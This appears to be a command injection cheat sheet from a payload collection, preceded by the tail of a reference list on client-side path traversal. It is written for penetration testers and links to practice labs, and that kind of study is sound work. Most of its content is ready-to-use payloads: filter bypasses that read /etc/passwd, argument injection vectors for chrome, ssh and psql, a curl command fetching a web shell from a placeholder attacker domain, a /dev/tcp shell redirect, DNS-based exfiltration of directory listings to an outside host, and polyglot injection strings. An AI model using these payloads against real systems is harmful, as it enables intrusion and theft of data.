* [Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24, 2024](https://web.archive.org/web/20250521192653/https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf)
* [Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - August 30, 2023](https://web.archive.org/web/20240703155707/https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/)
* [On-site request forgery - Dafydd Stuttard - May 3, 2007](https://web.archive.org/web/20260212042947/https://portswigger.net/blog/on-site-request-forgery)
* [Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - May 10, 2024](https://web.archive.org/web/20240512110749/https://matanber.com/blog/cspt-levels)
* [Automating Client-Side Path Traversals Discovery - Vitor Falcao - October 3, 2024](https://web.archive.org/web/20241004042613/https://vitorfalcao.com/posts/automating-cspt-discovery/)
* [CSPT the Eval Villain Way! - Dennis Goodlett - December 3, 2024](https://web.archive.org/web/20241203171704/https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html)
* [Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal - Maxence Schmitt - January 9, 2025](https://web.archive.org/web/20250109093347/https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)

---

## File: Command Injection/README.md

# Command Injection

> Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.

## Summary

* [Tools](#tools)
* [Methodology](#methodology)
    * [Basic Commands](#basic-commands)
    * [Chaining Commands](#chaining-commands)
    * [Argument Injection](#argument-injection)
    * [Inside A Command](#inside-a-command)
* [Filter Bypasses](#filter-bypasses)
    * [Bypass Without Space](#bypass-without-space)
    * [Bypass With A Line Return](#bypass-with-a-line-return)
    * [Bypass With Backslash Newline](#bypass-with-backslash-newline)
    * [Bypass With Tilde Expansion](#bypass-with-tilde-expansion)
    * [Bypass With Brace Expansion](#bypass-with-brace-expansion)
    * [Bypass Characters Filter](#bypass-characters-filter)
    * [Bypass Characters Filter Via Hex Encoding](#bypass-characters-filter-via-hex-encoding)
    * [Bypass With Single Quote](#bypass-with-single-quote)
    * [Bypass With Double Quote](#bypass-with-double-quote)
    * [Bypass With Backticks](#bypass-with-backticks)
    * [Bypass With Backslash And Slash](#bypass-with-backslash-and-slash)
    * [Bypass With $@](#bypass-with-)
    * [Bypass With $()](#bypass-with--1)
    * [Bypass With Variable Expansion](#bypass-with-variable-expansion)
    * [Bypass With Wildcards](#bypass-with-wildcards)
    * [Bypass With Random Case](#bypass-with-random-case)
* [Data Exfiltration](#data-exfiltration)
    * [Time Based Data Exfiltration](#time-based-data-exfiltration)
    * [Dns Based Data Exfiltration](#dns-based-data-exfiltration)
* [Polyglot Command Injection](#polyglot-command-injection)
* [Tricks](#tricks)
    * [Backgrounding Long Running Commands](#backgrounding-long-running-commands)
    * [Remove Arguments After The Injection](#remove-arguments-after-the-injection)
* [Labs](#labs)
    * [Challenge](#challenge)
* [References](#references)

## Tools

* [commixproject/commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool
* [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library

## Methodology

Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.

The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.

**Example of Command Injection with PHP**:
Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:

```php
<?php
    $ip = $_GET['ip'];
    system("ping -c 4 " . $ip);
?>
```

In the above code, the PHP script uses the `system()` function to execute the `ping` command with the IP address or domain provided by the user through the `ip` GET parameter.

If an attacker provides input like `8.8.8.8; cat /etc/passwd`, the actual command that gets executed would be: `ping -c 4 8.8.8.8; cat /etc/passwd`.

This means the system would first `ping 8.8.8.8` and then execute the `cat /etc/passwd` command, which would display the contents of the `/etc/passwd` file, potentially revealing sensitive information.

### Basic Commands

Execute the command and voila :p

```powershell
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...
```

### Chaining Commands

In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.

* `;` (Semicolon): Allows you to execute multiple commands sequentially.
* `&&` (AND): Execute the second command only if the first command succeeds (returns a zero exit status).
* `||` (OR): Execute the second command only if the first command fails (returns a non-zero exit status).
* `&` (Background): Execute the command in the background, allowing the user to continue using the shell.
* `|` (Pipe):  Takes the output of the first command and uses it as the input for the second command.

```powershell
command1; command2   # Execute command1 and then command2
command1 && command2 # Execute command2 only if command1 succeeds
command1 || command2 # Execute command2 only if command1 fails
command1 & command2  # Execute command1 in the background
command1 | command2  # Pipe the output of command1 into command2
```

### Argument Injection

Gain a command execution when you can only append arguments to an existing command.
Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution.

* Chrome

    ```ps1
    chrome '--gpu-launcher="id>/tmp/foo"'
    ```

* SSH

    ```ps1
    ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
    ```

* psql

    ```ps1
    psql -o'|id>/tmp/foo'
    ```

Argument injection can be abused using the [worstfit](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/) technique.

In the following example, the payload `＂ --use-askpass=calc ＂` is using **fullwidth double quotes** (U+FF02) instead of the **regular double quotes** (U+0022)

```php
$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));
```

Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.

* curl

    ```ps1
    # -o, --output <file>        Write to file instead of stdout
    curl http://[ATTACKER.DOMAIN.TLD]/ -o webshell.php
    ```

### Inside A Command

* Command injection using backticks.

  ```bash
  original_cmd_by_server `cat /etc/passwd`
  ```

* Command injection using substitution

  ```bash
  original_cmd_by_server $(cat /etc/passwd)
  ```

## Filter Bypasses

### Bypass Without Space

* `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead.

  ```powershell
  cat${IFS}/etc/passwd
  ls${IFS}-la
  ```

* In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.

  ```powershell
  {cat,/etc/passwd}
  ```

* Input redirection. The < character tells the shell to read the contents of the file specified.

  ```powershell
  cat</etc/passwd
  sh</dev/tcp/127.0.0.1/4242
  ```

* ANSI-C Quoting

  ```powershell
  X=$'uname\x20-a'&&$X
  ```

* The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value `09`.

  ```powershell
  ;ls%09-al%09/home
  ```

* In Windows, `%VARIABLE:~start,length%` is a syntax used for substring operations on environment variables.

  ```powershell
  ping%CommonProgramFiles:~10,-18%127.0.0.1
  ping%PROGRAMFILES:~10,-5%127.0.0.1
  ```

### Bypass With A Line Return

Commands can also be run in sequence with newlines

```bash
original_cmd_by_server
ls
```

### Bypass With Backslash Newline

* Commands can be broken into parts by using backslash followed by a newline

  ```powershell
  $ cat /et\
  c/pa\
  sswd
  ```

* URL encoded form would look like this:

  ```powershell
  cat%20/et%5C%0Ac/pa%5C%0Asswd
  ```

### Bypass With Tilde Expansion

```powershell
echo ~+
echo ~-
```

### Bypass With Brace Expansion

```powershell
{,ip,a}
{,ifconfig}
{,ifconfig,eth0}
{l,-lh}s
{,echo,#test}
{,$"whoami",}
{,/?s?/?i?/c?t,/e??/p??s??,}
```

### Bypass Characters Filter

Commands execution without backslash and slash - linux bash

```powershell
swissky@crashlab:~$ echo ${HOME:0:1}
/

swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/

swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/

swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
```

### Bypass Characters Filter Via Hex Encoding

```powershell
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
```

### Bypass With Single Quote

```powershell
w'h'o'am'i
wh''oami
'w'hoami
```

### Bypass With Double Quote

```powershell
w"h"o"am"i
wh""oami
"wh"oami
```

### Bypass With Backticks

```powershell
wh``oami
```

### Bypass With Backslash and Slash

```powershell
w\ho\am\i
/\b\i\n/////s\h
```

### Bypass With $@

`$0`: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, `$0` will typically give the name of the shell.

```powershell
who$@ami
echo whoami|$0
```

### Bypass With $()

```powershell
who$()ami
who$(echo am)i
who`echo am`i
```

### Bypass With Variable Expansion

```powershell
/???/??t /???/p??s??

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
```

### Bypass With Wildcards

```powershell
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```

### Bypass With Random Case

Windows does not distinguish between uppercase and lowercase letters when interpreting commands or file paths. For example, `DIR`, `dir`, or `DiR` will all execute the same `dir` command.

```powershell
wHoAmi
```

## Data Exfiltration

### Time Based Data Exfiltration

Extracting data char by char and detect the correct value based on the delay.

* Correct value: wait 5 seconds

  ```powershell
  swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
  real    0m5.007s
  user    0m0.000s
  sys 0m0.000s
  ```

* Incorrect value: no delay

  ```powershell
  swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
  real    0m0.002s
  user    0m0.000s
  sys 0m0.000s
  ```

### Dns Based Data Exfiltration

Based on the tool from [HoLyVieR/dnsbin](https://github.com/HoLyVieR/dnsbin), also hosted at [dnsbin.zhack.ca](http://dnsbin.zhack.ca/)

1. Go to [dnsbin.zhack.ca](http://dnsbin.zhack.ca)
2. Execute a simple 'ls'

  ```powershell
  for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
  ```

Online tools to check for DNS based data exfiltration:

* [dnsbin.zhack.ca](http://dnsbin.zhack.ca)
* [app.interactsh.com](https://app.interactsh.com)
* [portswigger.net](https://portswigger.net/burp/documentation/collaborator)

## Polyglot Command Injection

A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.

* Example 1:

  ```powershell
  Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

  # Context inside commands with single and double quote:
  echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
  echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
  echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
  ```

* Example 2:

  ```powershell
  Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

  # Context inside commands with single and double quote:
  echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
  echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
  echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
  ```

## Tricks

### Backgrounding Long Running Commands

In some instances, you might have a long running command that gets killed by the process injecting it timing out.
Using `nohup`, you can keep the process running after the parent process exits.

```bash
nohup sleep 120 > /dev/null &
```

### Remove Arguments After The Injection

In Unix-like command-line interfaces, the `--` symbol is used to signify the end of command options. After `--`, all arguments are treated as filenames and arguments, and not as options.

## Labs

* [PortSwigger - OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple)
* [PortSwigger - Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)
* [PortSwigger - Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)
* [PortSwigger - Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)
* [PortSwigger - Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)
* [Root Me - PHP - Command injection](https://www.root-me.org/en/Challenges/Web-Server/PHP-Command-injection)
* [Root Me - Command injection - Filter bypass](https://www.root-me.org/en/Challenges/Web-Server/Command-injection-Filter-bypass)
* [Root Me - PHP - assert()](https://www.root-me.org/en/Challenges/Web-Server/PHP-assert)
* [Root Me - PHP - preg_replace()](https://www.root-me.org/en/Challenges/Web-Server/PHP-preg_replace)

### Challenge

Challenge based on the previous tricks, what does the following command do:

```powershell
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
```

**NOTE**: The command is safe to run, but you should not trust me.

## References

* [Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019](https://web.archive.org/web/20250306133700/https://staaldraad.github.io/post/2019-11-24-argument-injection/)
* [Argument Injection Vectors - SonarSource - February 21, 2023](https://web.archive.org/web/20251211212046/https://sonarsource.github.io/argument-injection-vectors/)
* [Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014](https://web.archive.org/web/20140714140437/http://www.exploit-db.com/papers/33930)
* [Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018](https://web.archive.org/web/20241202133053/https://twitter.com/DissectMalware/status/1025604382644232192)
* [Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136)
* [No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017](https://web.archive.org/web/20220428000241/https://twitter.com/asdizzle_/status/895244943526170628)
* [OS Command Injection - PortSwigger - March 30, 2019](https://web.archive.org/web/20190330193912/https://portswigger.net/web-security/os-command-injection)
* [SECURITY CAFÉ - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017](https://web.archive.org/web/20250108174818/https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
* [TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - Kacper Szurek - April 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md)
* [WorstFit: Unveiling Hidden Transformers in Windows ANSI! - Orange Tsai - January 10, 2025](https://web.archive.org/web/20250109163006/https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/)